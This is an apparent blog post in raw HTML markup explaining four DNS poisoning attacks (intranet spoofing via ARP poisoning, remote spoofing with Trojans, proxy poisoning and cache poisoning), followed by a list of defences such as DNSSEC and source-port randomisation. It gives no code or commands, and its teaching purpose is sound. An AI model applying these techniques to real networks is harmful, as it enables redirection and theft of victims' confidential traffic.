<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ You will become the DNS server and her DNS<br />requests will go through you<br />There are four types of DNS poisoning attacks using<br />which you can compromise the target system:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Intranet DNS spoofing (local network)<br />When an attacker performs DNS poisoning on a locl<br />area network (LAN), it is called intranet DNS<br />spoofing. An attacker can perform intranet DNS<br />spoofing attack with the help of the ARP poisoning<br />technique. THis is usually conducted on a swithced<br />LAN. To perform this attack, you must be connected<br />to the LAN and be able to sniff the traffic or packets.<br />Once the attacker succeds in sniffing the ID of the<br />DNS request from the intranet, he or she can send a<br />malicious reply to the sender before the actual DNS<br />server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Internet DNS spoofing (remote network)<br />Internet DNS poisoning is also known as remote<br />DNS poisoning. This attack can be performed either<br />on asingle or multiple victims anywhere in the world.<br />In order to perform this attack, you need to set up a<br />rouge DNS server with a static IP address.<br />Internet DNS spoofing is performed when the<br />victim's system is connedted to the Internet. It is<br />done with the help of Trojans. It is one of the MITM<br />types of attacks, where the attacker changers the<br />primary DNS entries of the victim's computer. The<br />attacker replaces the victim's DNS IP address with<br />the fake IP address that refers t the attacker's<br />system; thus all traffic will be redirected to the<br />attacker's machine. Now the aatcker can easily sniff<br />the victim's confidential information.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ Proxy server DNS poisoning<br />In the proxy server DNS posoning technique, tha<br />taattacker changes the proxy server setting of the<br />victim to that of the attacker. This is done with the<br />help of a Trojan. This redirects the victim's request<br />to the attacker's fake website where the attacker can<br />sniff the confidential information of the victim.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">+ DNS cache poisoning<br />The DNS system uses cache memory to hold the<br />recently resolved domain names. It is populated<br />with recently used domain names and respective IP<br />address entries. When the user request comes, the<br />DNS resolver first checks the DNS cache; if the<br />domain name that the user requested is found in the<br />cache, then the resolver sends its respective IP<br />address quickly. Thus, it redueces the traffic and<br />time of DNS resolving.<br />Attacker target this DNS cache and make changes or<br />add entries to the DNS cache. The attacker replaces<br />the user-requested IP address with the fake IP<br />address. Then, after when user requests that domain<br />name, the DNS resolver checks the entry in the DNS<br />cache and picks the matched entry. Thus, the victim<br />is rediirected to the attacker's fake server instead of<br />the authorized server.</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br /></span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">How to defend against DNS spoofing:</span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;"><br /></span></span>
<span style="font-family: "Courier New",Courier,monospace;"><span class="text_exposed_show" style="background-color: white; color: #333333; display: inline; font-size: 13px; line-height: 18px;">Resolve all DNS queries to local DNS servers<br />Block DNS requests from going to external severs<br />Implement DNSSEC<br />Configure the DNS resolver to use a new random<br />source prot from its available range for each<br />outgoing query<br />Configure the firewall to restrict external DNS lookup<br />Restrict the DNS recuring service, either full or<br />partial, to authorized users<br />Use DNS Non-Existent Domain rate limitng<br />Secure your internal machines<br />Implement IDS and deploy it correctly<br />Use static ARP and IP table<br />Use SSH encryption<br />Use sniffing detection tools<br />Do not open suspicious files<br />Always use trusted proxy sites<br />Audit your DNS server regularly to remove<br />vulnerabilities</span></span></div>
</div>

DNS poisoning - EXPLANATION | hacking trick

DNS poisoning is a technique that tricks a DNS server into believing that is has received authentic inforamtion when, in reality, it has n...